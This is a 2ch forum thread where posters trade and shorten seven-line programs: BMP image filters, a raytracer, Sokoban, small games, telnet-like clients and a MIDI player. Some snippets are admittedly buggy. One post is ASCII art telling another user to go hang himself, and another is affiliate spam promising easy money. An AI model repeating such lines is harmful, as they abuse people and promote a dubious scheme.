七行プログラミング part4
レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさん
NGNG過去作品は、もしかしたら>>2-20あたりに。
■前スレ
http://pc2.2ch.net/test/read.cgi/tech/1033143528/
part 2
http://pc3.2ch.net/tech/kako/1018/10188/1018840143.html
part 1
http://pc.2ch.net/tech/kako/984/984182993.html
0002デフォルトの名無しさん
NGNG0003デフォルトの名無しさん
NGNG0004デフォルトの名無しさん
NGNGhttp://pc2.2ch.net/test/read.cgi/tech/1033143528/5-15
http://pc2.2ch.net/test/read.cgi/tech/1033143528/25
Pt.2スレの作品一覧
http://pc3.2ch.net/test/read.cgi/tech/1018840143/900-906n
0005デフォルトの名無しさん
NGNG0006デフォルトの名無しさん
NGNG>mosaic src.bmp dst.bmp
#include<stdio.h>
char B[1<<24];int*P=B+20,x,y,X,C,D,s,t,u;A(a,b){return(a&b)+(0x7f7f7f7f&(a^b)>>
1);}G(o,n){return(n/=2)?A(A(G(o,n),G(o+n,n)),A(G(X*n+o,n),G(X*n+o+n,n))):P[o];}
main(Y,v)char**v;{FILE*f=fopen(v[1],"rb");for(fread(B+2,1,54,f),X=*P,Y=P[1],P+=
9,D=C=X*Y;C--;)fread(P+C,1,3,f);for(;y<Y;y+=16)for(x=-X/2;x<X/2;x+=16)if(x*x+(y
-Y/2)*(y-Y/2)<65536)for(C=G(u=y*X+x+X/2,t=16);t--;)for(s=16;s--;)P[u+s+t*X]=C;
fwrite(B+2,1,54,f=fopen(v[2],"wb"));for(;D--;)fwrite(P+D,1,3,f);}
0007デフォルトの名無しさん
NGNG0008デフォルトの名無しさん
NGNG0009動画直リン
NGNG0010箱入り娘
NGNG見辛いし遊び辛いので誰か改良してくらはい
#include<stdio.h>
char*m="XXXXXX\nXABBCX\nXABBCX\nXDEEFX\nXDGHFX\nXI JX\nXXXXXX\n",b[49],c;main(
i,j){for(;m[30]-66||m[38]-66;){puts(m);gets(b);sscanf(b,"%c%d",&c,&i);i="07/1)"
[i/2]-48;for(j=49;j--;)b[j]=m[j]==c?m[j]=32,c:0;for(j=49;j--&&!(b[j]&&m[j+i]&c)
;);for(i=~j?0:i,j=49;j--;)b[j]?m[j+i]=c:0;}printf("%s\nおめ\n",m);}
0011デフォルトの名無しさん
NGNG0012デフォルトの名無しさん
NGNGmain()
{
int a;
int b=1;
long c=0;
printf("1000ikanosuujiwonyuuryousitekudasai:");
scanf("%d",&a);
while(a<1001)
{
while(b<=a)
{
c=c+b;
b=b+2;
}
a=1001;
}
printf("%ld",c);
}
0013デフォルトの名無しさん
NGNG#include<stdio.h>
main(){long a;scanf("%ld",&a);a<1001&&((a=(a-1)/2+1),printf("%ld",a*a*(a>0)));}
0014デフォルトの名無しさん
NGNGdo
msgbox "ふ〜ん、それで?"
loop
end sub
これをVBで実行せよ。最強の5行プログラム
0015デフォルトの名無しさん
NGNG0016デフォルトの名無しさん
NGNG他のスレ見ても気になってたんだけど、printf で出す
メッセージって最後に \n が無くても出るの?
普通 stdout はバッファリングするので出ない気がするんだけど
0017デフォルトの名無しさん
NGNGprintf には何かそういう仕様はあったっけ?
0018デフォルトの名無しさん
NGNG0019デフォルトの名無しさん
NGNGman stty
0020デフォルトの名無しさん
NGNGところで、この while や for を if 代わりに使うコードって、
何かの本にでも書いてるの?
別のスレでも見たんだけど。
もしそうなら、その本破り捨てて
トイレットペーパーにでもした方がいいね!
0021デフォルトの名無しさん
NGNGwhileをifの代わりに使っていませんが。
0022デフォルトの名無しさん
NGNG…
a=1001;
}
実質 if(a<1001)
0023デフォルトの名無しさん
NGNGsokoka.
0024デフォルトの名無しさん
NGNG0025デフォルトの名無しさん
NGNG行バッファリングだからscanfによってバッファはフラッシュされる。
JIS X 3010の7.9.3参照。(C99だと章番号が違うかもしれないが)
Cマガの連載に詳しい解説が載ってたんだが単行本化してくれない…
0026デフォルトの名無しさん
NGNGvec cen,color;double rad,kd,ks,kt,kl,ir}*s,*best,sph[]={0.,6.,.5,1.,1.,1.,.9,
.05,.2,.85,0.,1.7,-1.,8.,-.5,1.,.5,.2,1.,.7,.3,0.,.05,1.2,1.,8.,-.5,.1,.8,.8,
1.,.3,.7,0.,0.,1.2,3.,-6.,15.,1.,.8,1.,7.,0.,0.,0.,.6,1.5,-3.,-3.,12.,.8,1.,
1.,5.,0.,0.,0.,.5,1.5,};yx;double u,b,tmin,sqrt(),tan();double vdot(A,B)vec A
,B;{return A.x*B.x+A.y*B.y+A.z*B.z;}vec vcomb(a,A,B)double a;vec A,B;{B.x+=a*
A.x;B.y+=a*A.y;B.z+=a*A.z;return B;}vec vunit(A)vec A;{return vcomb(1./sqrt(
vdot(A,A)),A,black);}struct sphere*intersect(P,D)vec P,D;{best=0;tmin=1e30;s=
sph+5;while(s-->sph)b=vdot(D,U=vcomb(-1.,P,s->cen)),u=b*b-vdot(U,U)+s->rad*s
->rad,u=u>0?sqrt(u):1e31,u=b-u>1e-7?b-u:b+u,tmin=u>=1e-7&&u<tmin?best=s,u:
tmin;return best;}vec trace(level,P,D)vec P,D;{double d,eta,e;vec N,color;
struct sphere*s,*l;if(!level--)return black;if(s=intersect(P,D));else return
amb;color=amb;eta=s->ir;d= -vdot(D,N=vunit(vcomb(-1.,P=vcomb(tmin,D,P),s->cen
)));if(d<0)N=vcomb(-1.,N,black),eta=1/eta,d= -d;l=sph+5;while(l-->sph)if((e=l
->kl*vdot(N,U=vunit(vcomb(-1.,P,l->cen))))>0&&intersect(P,U)==l)color=vcomb(e
,l->color,color);U=s->color;color.x*=U.x;color.y*=U.y;color.z*=U.z;e=1-eta*
eta*(1-d*d);return vcomb(s->kt,e>0?trace(level,P,vcomb(eta,D,vcomb(eta*d-sqrt
(e),N,black))):black,vcomb(s->ks,trace(level,P,vcomb(2*d,N,D)),vcomb(s->kd,
color,vcomb(s->kl,U,black))));}main(){printf("%d %d\n",32,32);while(yx<32*32)
U.x=yx%32-32/2,U.z=32/2-yx++/32,U.y=32/2/tan(25/114.5915590261),U=vcomb(255.,
trace(3,black,vunit(U)),black),printf("%.0f %.0f %.0f\n",U);}/*minray!*/
0027デフォルトの名無しさん
NGNG転載いやソ ... せめてコンパイルが通るくらいの修正をしてから ...
0028デフォルトの名無しさん
NGNGもうそろそろいらないよ、このスレ。
0029デフォルトの名無しさん
NGNG|>>28 君さぁ スルーすりゃいいのに |
Λ_Λ | わざわざいらないとかクソレスしてるから |
( ´∀`)< 厨房って言われちゃうんだよ |
( ΛΛ つ >―――――――――――――――――――‐<
( ゚Д゚) < おまえのことを必要としてる奴なんて |
/つつ | いないんだからさっさと回線切って首吊れ |
\____________________/
0030デフォルトの名無しさん
NGNG003128
NGNG0032デフォルトの名無しさん
NGNG0033デフォルトの名無しさん
NGNGアクセス数の多い掲示板等に貼り付けるだけでかなり稼げます。
下のURLをコピペして(※直リン禁止なのでクリックでは入れません)GO!
そして、左のメニューに「リンクスタッフ詳細」があるのでクリック。
メールアドレスと、好きなパスワード入れるだけで登録完了。もちろん無料。
しかも今なら、登録したら自動的に1000円貰えます♪
フリーメールでも大丈夫です。
メルレよりずっと楽だし、ちゃんと報酬を貰えます。
ttp://accessplus.jp/staff/in.cgi?id=11258
0034犬
NGNGrubyで倉庫番を書いてみました。
sttyでrawモードに切替えてあるのでunix系のみの限定です。
$ ruby s.rb マップデータ
で実行してください。
マップデータはperlで書かれていたものと共通です。
m=$<.read;w=m.index(/\n/);m.delete!"\n";h=m.size/w;p=m.index'P';g=[];(0..w*h).
each{|i|g<<i if m[i]==?$};u=[];(0..w*h).each{|i|u<<i if m[i]==?_};o={?j,w,?h,
-1,?l,1,?k,-w,?\C-c,0};m[p]='.';g.each{|i|m[i]='.'};begin;loop{t=m.dup;g.
each{|i|t[i]='$'};t[p]='P';system"clear";(0..h).each{|i|puts t.slice(i*w,w)};
break if u==g.sort;`stty raw -echo`;v=o[$<.getc];`stty -raw echo`;next if v.
nil?;break if v==0;d=p+v;if m[d].chr!='#';if i=g.index(d);if t[d+v].
chr[/[\$#]/];next;else;g[i]=d+v;end;end;p=d;end};ensure;`stty -raw echo`;end
0035犬
NGNG上のコマンドラインのまま実行するにはスクリプトの
ファイル名をs.txtとして保存して下さい。
0036デフォルトの名無しさん
NGNGじゃ、やけにfor文を使う参考書は?
実際、あるよ。
0037犬
NGNGまだ、書き忘れていたことがありました。
スクリプトを読めば解かることなんですが
移動はviと同じhjklです.
0038ばけ
NGNG#include<stdio.h>
main(int c,char*v[]){FILE*R,*S;int i=0,h,s,Y,X,t;char RC,G,B;R=fopen
(v[1],"rb");S=fopen(v[2],"wb");while(i<54){fputc(fgetc(R),S);i++;}
fseek(R,18,SEEK_SET);fread(&s,4,1,R);fread(&h,4,1,R);fseek(R,54,SEEK_SET);
fseek(S,54,SEEK_SET);i=s;while(i>=4)i-=4;for(Y=0;Y<h;Y++){for (X=0;X<s;X++)
{B=fgetc(R);G=fgetc(R);RC=fgetc(R);B=RC+G+B/3;fputc(B,S);fputc(B,S);fputc(B,S);}t=0;
while(t<i){fputc(0x00,S);t++;}fseek(R,i,SEEK_CUR);}fputc(0x00,S);fclose(R);fclose(S);}
やけに永遠ループがでた。。。製作1時間
0039ばけ
NGNGコマンドから、実行ファイル名 元のBMP名 保存するBMP名
もし、保存するBMPを書かなかったら、エラーです。
(けど、だれも使わないか)一応書いたけど。
0040デフォルトの名無しさん
NGNG#include<stdio.h>
FILE*R,*S;int i=0,h,s,Y,X,t,p[3];void I(){for(i=t=0;i<4;t|=fgetc(R)<<(i++*8))
;}main(int c,char*v[]){R=fopen(v[1],"rb");S=fopen(v[2],"wb");for(;i<54;fputc(
fgetc(R),S),i++) ;fseek(R,18,0);I();s=t;I();h=t;fseek(R,54,0);fseek(S,54,0);
i=s;while(i>=4)i-=4;for(Y=0;Y<h;Y++){for(X=0;X<s;X++){for(c=0;c<3;c++)p[c]
=fgetc(R);t=(p[2]*77+p[1]*28+*p*151)>>8;for(c=0;c<3;c++)fputc(t,S);}t=0;while
(t<i){fputc(0,S);t++;}fseek(R,i,1);}fputc(0,S);fclose(R);fclose(S);return 0;}
0041ソース変更された人
NGNGよく、がんばった。
けど、何が気になった?
なんで変えたの?
0042デフォルトの名無しさん
NGNGdiffを取ってみたら?
と発言しかけたが無意味だったな
0043デフォルトの名無しさん
NGNG動機?
マカーだからエンディアンが気になった
>>42
そういやbdiffなんてあったな
0044デフォルトの名無しさん
NGNGif の代わりに for 使うの?
それはトイレットペーパー並の価値、
いや、それ以下だね!
0045デフォルトの名無しさん
NGNG色々変わってるけど,一番大きな違いは輝度値の計算だね.
ぱっと見た感じ,今までのではまともに動かなかったはず…….
明らかに色の重みがおかしかったから.
24bitBMPをグレースケールにして,24bitBMPで保存するのは無駄すぎ.
8bitにてテーブルカラーで保存されー.
(自分でやれ?時間があれば……)
0046デフォルトの名無しさん
NGNGFILE*R,*S;int i=0,h,s,Y,X,t,p,q,r,(*g)(FILE*)=fgetc;void I(){for(h=0;h++<4;t=
unsigned(t)>>8|g(R)<<24);}main(int c,char**v){R=fopen(v[1],"rb");S=fopen(v[2],
"wb");while(i++<54)fputc(g(R),S);fseek(R,18,0);I();i=(s=t)%4;I();h=t;fseek(R,54,
0);for(Y=h;Y--;){for(X=s;X--;){p=g(R);q=g(R);r=g(R);t=(r*77+q*28+p*151)>>8;for(c
=0;c++<3;)fputc(t,S);}for(t=0;t<i;t++)fputc(g(R),S);}fputc(0,S);fclose(R);fclose
(S);return 0;}
8bitインデックスカラーへの布石.
思ったより縮んでないけど,まだまだ行けるはず!
0047デフォルトの名無しさん
NGNG輝度値の計算のことはありがとう。気づかなかった。
そんで、8bitでの保存は、とても
1行+6行*79文字では表せそうにないことがわかったので、
断念した。やけに、コードが増えてしまう・・・
そんで、24bit→24bitグレースケールになっていた理由は、
Game上で24bitのドットデータを変換するのに使う関数を改造したから。
いい、アドバイスありがとう。けど、無理だ。
0048デフォルトの名無しさん
NGNGFILE*R,*S;int i=0,h,s,t,p,q,r,(*g)(FILE*)=fgetc;void I(){for(i=0;i++<4;t=
unsigned(t)>>8|g(R)<<24);}main(int c,char**v){R=fopen(v[1],"rb");S=fopen(v[2],
"wb");while(i++<54)fputc(g(R),S);fseek(R,18,0);I();s=t;I();h=t*s;fseek(R,54,0);
while(h--){for(p=g(R),q=g(R),r=g(R),c=3;c--;)fputc((r*77+q*28+p*151)>>8,S);for(
t=s%4;t--;)h%s?fputc(g(R),S):0;}fputc(0,S);fclose(R);fclose(S);return 0;}
>>47
8bit@7行が見えてきたと思わないか?
テーブル出力はまだしもファイルサイズ書き込みが入るかな?
fseekとリトルエンディアンが問題だ
fputcの3重ループが削れるから……(ぶつぶつ
005047
NGNGすげー。今、「どんだけやっても、
paintとプレビューで表示してくれん。」
とか、思って来てみたら、できてる人がいる。
そのソース見て勉強させてもらうよ。今から。
005147
NGNG情報:
さっき、ソース解体して調べたら、実は
fclose()前のfputc(0,S);がいらないことが判明。
消しても大丈夫。ただのゴミだから。
005247
NGNG//85文字ほどオーバーしたが一応載せておく
#include<stdio.h>
FILE*R,*S;int i,h,s,Y,X,t,T,G,B;main(int c,char**v){R=fopen(v[1],"rb");S=fopen(
v[2],"wb");while(i<54){fputc(fgetc(R),S);i++;}fseek(R,18,0);fread(&s,4,1,R);
fread(&h,4,1,R);fseek(S,2,0);i=s;while(i>=4)i-=4;X=1078+s*h+h*(4-i);fwrite(&X,4,
1,S);fseek(S,10,0);Y=1078;fwrite(&Y,4,1,S);fseek(S,28,0);X=8;fwrite(&X,2,1,S);
fseek(S,54,0);fseek(R,54,0);while(B<256){putc(B,S);putc(B,S);putc(B,S);putc(0,S)
;B++;}for(Y=0;Y<h;Y++){for(X=0;X<s;X++){B=fgetc(R);G=fgetc(R);T=fgetc(R);B=(T+B+
G)/3;fputc(B,S);}t=0;while(t<(4-i)){fputc(0x00,S);t++;}fseek(R,i,1);}fclose(R);
fclose(S);}
//79*7に入ったら、もう一回載せる。輝度は修正しました
0053デフォルトの名無しさん
NGNGfgetc,fputs はすべて getc,putc にしてもよいと思うが。
fclose もその場でプログラム終了するからいらないね。
while もすべて for にしる。
main(int c,char**v) を main(c,v)char**v; にしる。
0x00 を 0 にしる。
i>=4 を i>3 にしる。
005447
NGNGBITMAPを作っちゃいます。
すいません。これ、おかしかったです。
使わないで。
0055デフォルトの名無しさん
NGNGループを
for(X=s*h;X--;putc((T+B+G)/3,S))B=getc(R),G=getc(R),T=getc(R);
に変更すれば大丈夫でない?
005647
NGNGごめん。まさか、書き込みが来るとおもわなかった(↑とか書いたし。
けど、まずは、LoadImageで読み込める、
フォーマットどおりのBitmap作るようにするよ。
0057bloom
NGNG0058デフォルトの名無しさん
NGNG#include<stdio.h>
FILE*R,*S;int i=54,h,s,Y,X,t,T,G,B;main(c,v)char**v;{R=fopen(v[1],"rb");S=fopen
(v[2],"wb");for(;i--;)putc(getc(R),S);fseek(R,18,0);fread(&s,4,1,R);fread(&h,4,
1,R);fseek(S,2,0);i=s%4;X=1078+s*h+h*(4-i);fwrite(&X,4,1,S);fseek(S,10,0);Y=
1078;fwrite(&Y,4,1,S);fseek(S,28,0);X=8;fwrite(&X,2,1,S);fseek(S,54,0);fseek(R,
54,0);for(;B<256;B++)putc(B,S),putc(B,S),putc(B,S),putc(0,S);for(X=s*h;X--;putc
((T+B+G)/3,S))B=getc(R),G=getc(R),T=getc(R);for(t=0;t<4-i;t++)fputc(0,S);fseek(
R,i,1);}
0059デフォルトの名無しさん
NGNG最後の fseek(R,i,1); って、うちではなくても大丈夫そうだった。
そしたら7行だね...はやぁ
0060デフォルトの名無しさん
NGNG0061デフォルトの名無しさん
NGNGpublic class A{private static int N,b[];private static void p(int i){int j,k,t;
if (i<N){for(j=i;j<N+1;j++){t=b[j];for(k=j;k>i;k--)b[k]=b[k-1];
b[i]=t;p(i+1);for(k=i;k<j;k++)b[k]=b[k+1];b[j]=t;}}else{
for(j=1;j<N+1;j++)System.out.print(b[j]+" ");System.out.println();}}
public static void main(String[] a){
try{N=Integer.parseInt(a[0]);}catch(Exception e){System.exit(1);}
b=new int[N+1];for(int i=0;i<N+1;i++)b[i]=i;p(1);}}
0062デフォルトの名無しさん
NGNGRGB平均≠輝度ってのは覚えておくといいかも。詳しくはYUVとか検索。
で、今更だが>>40の輝度、GとBの係数が逆だったのに気づいた。
77,151,28が正解なんだが5,9,2 >>4でも結果に大した違いがなかった罠。
>>60
固定だと思う。RIFFでも見たことないし
8bitだと7行でエンディアン依存無しは無理か・・・
006347
NGNGfseekは必要です。
横のデータは4の倍数バイトに決まってるので、
その修正用です。横のサイズが4の倍数以外の
BMPだと狂うはずです。
あと、#includeは七行に入らないの?
006447
NGNG//LoadImageで読み込めませんがPaintで読み込めます。(なぜか)
#include<stdio.h>
FILE*R,*S;int i=54,h,s,Y,X,t;main(c,v)char**v;{R=fopen(v[1],"rb");S=fopen(v[2],
"wb");for(;i--;)putc(getc(R),S);fseek(R,18,0);fread(&s,4,1,R);fread(&h,4,1,R);
fseek(S,2,0);i=s%4;X=1078+s*h+h*i;fwrite(&X,4,1,S);fseek(S,4,1);Y=1078;fwrite(&
Y,4,1,S);fseek(S,28,0);X=8;fwrite(&X,2,1,S);fseek(S,54,0);fseek(R,54,0);for(;t<
256;t++)putc(t,S),putc(t,S),putc(t,S),putc(0,S);for(Y=h;Y--;){for(X=s;X--;putc(
getc(R)*151+getc(R)*77+getc(R)*28>>8,S));for(t=i;t--;putc(0,S));fseek(R,i,1);}}
//協力有難うございます。
0065デフォルトの名無しさん
NGNGfseek(R,i,1);はlong境界にあわせるために必要.
横サイズが4の倍数でないファイル読ませると破綻します.
私はfseek使わずに読み込むことで進めさせましたが.
0067デフォルトの名無しさん
NGNG0069デフォルトの名無しさん
NGNG#include<stdio.h>
FILE*R,*S;int i=54,h,s,X,t,(*g)()=getc,(*k)()=fseek;p(c){putc(c,S);}I(n){for(;n
--;h=g(R)<<24|h>>8);}O(n){for(X=4;X--;n>>=8)p(n);}main(c,v)char**v;{R=fopen(v[1
],"rb");for(S=fopen(v[2],"wb");i--;)p(g(R));k(R,18,0);I(4);s=h;I(4);k(S,2,0);i=
s%4;O(1078+s*h+h*i);k(S,4,1);O(1078);k(S,28,0);p(8),p(0);k(S,54,0);k(R,54,0);
for(;t<256;p(0))p(t),p(t),p(t++);for(;h--;){for(X=s;X--;p(c>>8))c=g(R)*28,c+=g(
R)*151,c+=g(R)*77;for(t=i;t--;p(0));k(R,i,1);}}
0070デフォルトの名無しさん
NGNGおれっちのところだと、横が4の倍数でないとずれまくるのだが何か変?
画像は 187x298x24
007147
NGNGすいません。奇数でのテストを欠いてました。今度は大丈夫です。
他、LoadImageに対応した(フォーマット通りを作る)完成版です。
#include<stdio.h>
(*p)(FILE*,long,int)=fseek;FILE*R,*S;int i=54,h,s,Y,X,t,j,z=1078,d;main(c,v)char*
*v;{R=fopen(v[1],"rb");S=fopen(v[2],"wb");for(;i--;)putc(getc(R),S);p(R,18,0);
fread(&s,4,1,R);fread(&h,4,1,R);p(S,2,0);i=s%4;i>0?d=4-i:0;X=z+(j=h*s+h*d);fwrite
(&X,4,1,S);p(S,4,1);Y=z;fwrite(&Y,4,1,S);p(S,28,0);X=8;fwrite(&X,2,1,S);p(S,4,1);
fwrite(&j,4,1,S);p(S,54,0);p(R,54,0);for(;t<256;t++)putc(t,S),putc(t,S),putc(t,S)
,putc(0,S);for(Y=h;Y--;){for(X=s;X--;putc(getc(R)*151+getc(R)*77+getc(R)*28>>8,S));
for(t=d;t--;putc(0,S));p(R,i,1);}}
ですが、7*79に収まってません。なんかアイデアありませんか?
0072デフォルトの名無しさん
NGNG今まで fopen やめて stdin/stdout を使うようにしてたけど
そうすれば十分収まったりしない?
漏れ的にも引数にファイル名とるよりfilterのような動作のほうが
何かと便利だったりすることのほうが多い。
007358
NGNG0074デフォルトの名無しさん
NGNG#include<stdio.h>
(*p)()=fseek;(*q)()=fputc;FILE*R,*S;int i=54,h,s,Y,X,t,j,z=1078,d;main(c,v)char*
*v;{R=fopen(v[1],"rb");S=fopen(v[2],"wb");for(;i--;)q(getc(R),S);p(R,18,0);fread
(&s,4,1,R);fread(&h,4,1,R);p(S,2,0);i=s%4;i>0?d=4-i:0;X=z+(j=h*s+h*d);fwrite(&X,
4,1,S);p(S,4,1);Y=z;fwrite(&Y,4,1,S);p(S,28,0);putw(X=8,S);p(S,4,1);fwrite(&j,4,
1,S);p(S,54,0);p(R,54,0);for(;t<256;t++)q(t,S),q(t,S),q(t,S),q(0,S);for(Y=h;Y--;
){for(X=s;X--;q(getc(R)*151+getc(R)*77+getc(R)*28>>8,S));for(t=d;t--;q(0,S));p(R
,i,1);}}
適当にやってみただけでテストしてない罠
007558
NGNG#include<stdio.h>
FILE*R,*S;int(*f)()=fseek,i=54,h,s,Y,X=1078,t,j,d;g(v,i,k){for(i=k=0;i<v;)k|=
getc(R)<<i++*8;return k;}p(k,v,i){for(i=0;i<v;)putc(k>>i++*8,S);}main(c,v)char
**v;{R=fopen(v[1],"rb");S=fopen(v[2],"wb");for(;i--;)p(g(1),1);f(R,18,0);s=g(4)
;h=g(4);f(S,2,0);i=s%4;i?d=4-i:0;p(X+(j=h*s+h*d),4);f(S,4,1);p(X,4);f(S,28,0);p
(8,2);f(S,4,1);p(j,4);f(S,54,0);f(R,54,0);for(;t<256;t++)p(t<<16|t<<8|t,4);for(
Y=h;Y--;g(i)){for(X=s;X--;p(t+g(1)*28>>8,1))t=g(1)*151,t+=g(1)*77;p(0,d);}}
0076デフォルトの名無しさん
NGNGFILE*R,*S;int i=54,h,s,t,p,(*k)(FILE*,long,int)=fseek;g(){return getc(R);}u(int
c){return putc(c,S);}void I(){for(i=4;i--;t=(unsigned)t>>8|g()<<24);}void O(int
v,int n=4){for(;n--;v>>=8)u(v);}main(int c,char**v){for(R=fopen(v[1],"rb"),S=
fopen(v[2],"wb");i--;u(g()));for(;i++<256;O(i<<16|i<<8|i));k(R,18,0);I();s=t;I(
);h=t*s;c=(s+3)/4*4*t;for(k(R,54,0);h--;h%s?0:(O(0,s%4?4-s%4:0),k(R,s%4,1)))p=g
()*28,p+=g()*151,p+=g()*77,u(p>>8);k(S,34,0);O(c);k(S,2,0);O(c+1078);k(S,5,1);u
(4);k(S,28,0);u(8);}
C++コンパイラを通そうとすると私にはこれが限界です.
なんか昼間からずっとやってる気がする……
0077デフォルトの名無しさん
NGNG短く書く方法参考になった。
0078デフォルトの名無しさん
NGNGC++使うんだったら、fstream 使ったほうが便利でよろしいかと。
0079デフォルトの名無しさん
NGNGFILE*R,*S;int i=54,h,s,t,p,(*k)(FILE*,long,int)=fseek;O(int v,int n=4){for(;n--
;v>>=8)putc(v,S);}I(){for(t=i=0;i<4;t+=getc(R)<<i++*8);}main(int c,char**v){for
(R=fopen(v[1],"rb"),S=fopen(v[2],"wb");i--;putc(getc(R),S));for(;i++<256;O(i<<
16|i<<8|i));k(R,18,0);I();s=t;I();h=t*s;c=(s+3)/4*4*t;for(k(R,54,0);h--;h%s?0:(
O(0,s%4?4-s%4:0),k(R,s%4,1)))p=getc(R)*28,p+=getc(R)*151,p+=getc(R)*77,putc(p>>
8,S);k(S,34,0);O(c);k(S,2,0);O(c+1078);k(S,5,1);putc(4,S);k(S,28,0);putc(8,S);}
C++で何とか7行達成.
関数の戻り値の型省略してるんで厳密にはC++になりきれてませんが,コンパイラの
デフォルト警告Levelだとwarningで許してくれたのでご容赦の程…….
(BCC32,VC.NET共にwarningですた.)
fcloseやmainのreturn省略の辺りはとても残念です.
0080デフォルトの名無しさん
NGNG引数の型の省略がなんかずるい気がしてイヤだったんで,なんとか付けたままで出来ないかと頑張ってたんですよ.
短くしていく過程でデフォルト引数使ってしまったんで,C++と宣ってるだけでして.
結局私も妥協してしまったわけですが……
連続すいませぬ.
0081デフォルトの名無しさん
NGNGgcc(g++) と Sun Workshop CC では、
関数 O, I の返値でエラーが出てコンパイルできないです。
何とかがんばってみてください。
0082デフォルトの名無しさん
NGNG0083デフォルトの名無しさん
NGNG0084デフォルトの名無しさん
NGNGここに挙がってるネタでやってないものならいくつもあるが
008583
NGNGTelnetClientモドキ
import java.net.*;import java.io.*;public class T extends Thread{InputStream i;
OutputStream o;public T(InputStream I,OutputStream O){i=I;o=O;}public void run(
){try{int c;while(-1!=(c=i.read()))o.write(c);o.close();System.exit(0);}catch(
Exception e){}}public static void main(String[] a){try{Socket s=new Socket(a[0]
,Integer.parseInt(a[1]));new T(s.getInputStream(),System.out).start();new T(
System.in,s.getOutputStream()).start();}catch(Exception e){System.out.println(
"Usage: java T HOST PORT\r\nヽ(`Д´)ノ もがしゃっ!");}}}
0086デフォルトでない名無しさん
NGNGchar a[9999],b[9999],z[512];int o,p=1,r,s=1;H(char*c){strcat(c,"\r\n");send(o,c,
strlen(c),0);}I(){while(p){gets(a);H(a);}_endthread();}main(c,v)char**v;{SOCKAD\
DR_IN q={2,htons(atoi(v[2]))};WSAStartup(257,z);q.sin_addr=*((PIN_ADDR)*(gethos\
tbyname(v[1]))->h_addr_list);if(connect(o=socket(2,1,0),&q,sizeof(q)))return;pr\
intf("ok\n");_beginthread(I, 0, NULL);for(;s;){memset(b,9999,0);s=recv(o,b,9999,
0);if(s>0)printf("%s\n",b);}p=0;closesocket(o);WSACleanup();}
83氏のを見て急に作りたくなってきた。
Telnetもどき
telnet [ホスト名] [ポート]
0087デフォルトでない名無しさん
NGNG#include<winsock.h>
char a[999],b[999],z[512];int o,p=1,r,s=1;H(char*c){strcat(c,"\r\n");send(o,c,s\
trlen(c),0);}I(){while(p){gets(a);H(a);}_endthread();}main(c,v)char**v;{SOCKADD\
R_IN q={2,htons(atoi(v[2]))};WSAStartup(257,z);q.sin_addr=*((PIN_ADDR)*(gethost\
byname(v[1]))->h_addr_list);if(connect(o=socket(2,1,0),&q,sizeof(q)))return;puts
("ok");_beginthread(I, 0, NULL);for(;s;){memset(b,0,999);s=recv(o,b,999,0);s>0?
printf("%s",b):0;}p=0;closesocket(o);WSACleanup();}
0088デフォルトの名無しさん
NGNG#include <stdio.h>
FILE*f;int k,i,L=320,N=240,x[]={0x424d3684,50331648,13824,10240,16385,61440,256
,402653184,132,50381838,50190,0,0,0},n[320],m[320],j;main(a){for(f=fopen("c.bm"
"p","wb");i<54;i++)putc(x[i/4]>>8*(3-i%4),f);for(i=j=1;i++<99;)m[j=(i*99+j)%L]=
N;for(i=N;i--;){for(j=L*3;j--;)putc(m[L-j/3-1],f);a=*m;for(j=0;++j<L;a=k)k=m[j]
,m[j]=(a+m[j+1])/2;}}
008988
NGNGm[321] としておいてくらさい。そして n[320] いりまへん。
0090デフォルトの名無しさん
NGNGimport java.util.*;public class C{public static void main(String[]a){try{Random
r=new Random();int[]A,B;int i,j,c,h=0,b=0,l=Integer.parseInt(a[0]);A=new int[10
];B=new int[l];for(i=0;i<10;i++)A[i]=i;for(i=0;i<l;i++){c=(r.nextInt()&0x7fff)%
(10-i);B[i]=A[c];for(j=c;j<9-i;j++)A[j]=A[j+1];}while(h<l){byte[]D=new byte[82]
;System.in.read(D);h=0;b=0;for(i=0;i<l;i++)for(j=0;j<l;j++)if(B[i]==D[j]-'0')if
(i==j)h++;else b++;System.out.println("H"+h+":B"+b);}}catch(Exception e){System
.out.println("Usage: java C COLUMN\r\nヽ(`Д´)ノ もがしゃっ!");}}}
0091デフォルトの名無しさん
NGNG>ヽ(`Д´)ノ もがしゃっ!
わろた
0092デフォルトの名無しさん
NGNG0093デフォルトでない名無しさん
NGNGビルドする前にライブラリにwinmm.libを追加すること。
#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;char*a="cdefgab",*b,*d,e[7]={0,2,4,5,7,9,11},o=0,l=4,m;main(c,v)char*
*v;{if(midiOutOpen(&h,0,0,0,0))return 0;for(b=v[1];*b;b++)(d=strchr(a,*b))?midi\
OutShortMsg(h,8335504+(e[d-a]+o*12)*256),Sleep((m=atoi(b+1))?l=m,4000/l:4000/l),
midiOutShort\Msg(h,12416+(e[d-a]+o*12)*256):*b==111?o=atoi(++b)-4:0;midiOutClose
(h);return;}
mml [mml data]
※[mml data]
cdefgab 音階。それぞれド,レ,ミ,ファ,ソ,ラ,シ。
音階の後に数字(1-2000)を入れると音の長さを指定できる。
省略時は最後に指定した長さになる。デフォルトは4。
o[0-10] オクターブ指定。デフォルトは4。
0094デフォルトでない名無しさん
NGNG#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;char*a="cdefgab",*b,*d,e[7]={0,2,4,5,7,9,11},o=0,l=4,m;main(c,v)char*
*v;{if(midiOutOpen(&h,0,0,0,0))return 0;for(b=v[1];*b;b++)(d=strchr(a,*b))?midi\
OutShortMsg(h,8335504+(e[d-a]+o*12)*256),Sleep((m=atoi(b+1))?l=m,4000/l:4000/l),
midiOutShortMsg(h,12416+(e[d-a]+o*12)*256):*b==111?o=atoi(++b)-4:*b==64?m=atoi(
++b),midiOutShortMsg(h,192+m*256):0;midiOutClose(h);return 0;}
@[音色番号] 音色を変更します。
0095デフォルトでない名無しさん
NGNG#include <windows.h>
#include <mmsystem.h>
HMIDIOUT h;char*a="cdefgab",*b,*d,e[7]={0,2,4,5,7,9,11},o=0,l=4,m;V(){(m=atoi(b+
1))?l=m:0;Sleep(4000/l);}main(c,v)char**v;{if(!midiOutOpen(&h,0,0,0,0))for(b=v[1
];*b;b++)(d=strchr(a,*b))?midiOutShortMsg(h,8335504+(e[d-a]+o*12)*256),V(),midi\
OutShortMsg(h,12416+(e[d-a]+o*12)*256):*b==111?o=atoi(++b)-4:*b==64?m=atoi(++b),
midiOutShortMsg(h,192+m*256):*b==114?V():0;midiOutClose(h);return 0;}
r 休符です。音階と同じ扱いを受けます
